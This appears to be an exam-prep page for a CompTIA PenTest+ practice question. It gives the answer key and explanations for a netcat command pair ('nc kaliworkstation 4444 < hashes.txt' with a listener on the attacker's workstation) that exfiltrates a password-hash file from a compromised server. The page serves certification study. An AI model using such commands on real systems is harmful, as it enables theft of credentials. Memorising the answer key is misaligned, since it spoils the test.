nerdexam
CompTIA

PT0-002 · Question #510

A penetration tester gets a shell on a server and runs the following command: nc kaliworkstation 4444 < hashes.txt The penetration tester runs the following command on a Kali workstation: nc -nlvp…

The correct answer is A. Exfiltrate a file from the server. The penetration tester is exfiltrating the 'hashes.txt' file from the compromised server to the Kali workstation using Netcat for file transfer.

Post-exploitation and lateral movement

Question

A penetration tester gets a shell on a server and runs the following command:

nc kaliworkstation 4444 < hashes.txt The penetration tester runs the following command on a Kali workstation:

nc -nlvp 4444 > hashes.txt Which of the following best describes what the penetration tester is attempting to do?

Options

  • AExfiltrate a file from the server.
  • BObtain a higher privilege reverse shell.
  • CCopy a file to the target server.
  • DDelete a file from the Kali workstation.

How the community answered

(33 responses)
  • A
    73% (24)
  • B
    3% (1)
  • C
    15% (5)
  • D
    9% (3)

Why each option

The penetration tester is exfiltrating the 'hashes.txt' file from the compromised server to the Kali workstation using Netcat for file transfer.

AExfiltrate a file from the server.Correct

On the target server, 'nc kaliworkstation 4444 < hashes.txt' sends the content of 'hashes.txt' to the Kali workstation's Netcat listener on port 4444. On the Kali workstation, 'nc -nlvp 4444 > hashes.txt' listens for incoming connections on port 4444 and redirects the received data into a new 'hashes.txt' file. This sequence of commands precisely describes the process of exfiltrating a file from the compromised server to the attacker's machine.

BObtain a higher privilege reverse shell.

Obtaining a higher privilege reverse shell typically involves setting up a listener on the Kali machine and then executing a command on the target that connects back to the listener and provides a shell, not transferring a file.

CCopy a file to the target server.

Copying a file to the target server would involve the Kali workstation sending the file and the target server receiving it, which is the reverse direction of the 'hashes.txt' transfer shown.

DDelete a file from the Kali workstation.

The commands are designed for file transfer, not for deleting a file. The '>' operator on the Kali side creates or overwrites a file, it does not delete it from the Kali workstation.

Concept tested: Netcat for file transfer (exfiltration)

Source: https://man7.org/linux/man-pages/man1/nc.1.html

Topics

#Netcat#File exfiltration#Post-exploitation#Data transfer

Community Discussion

No community discussion yet for this question.

Full PT0-002 Practice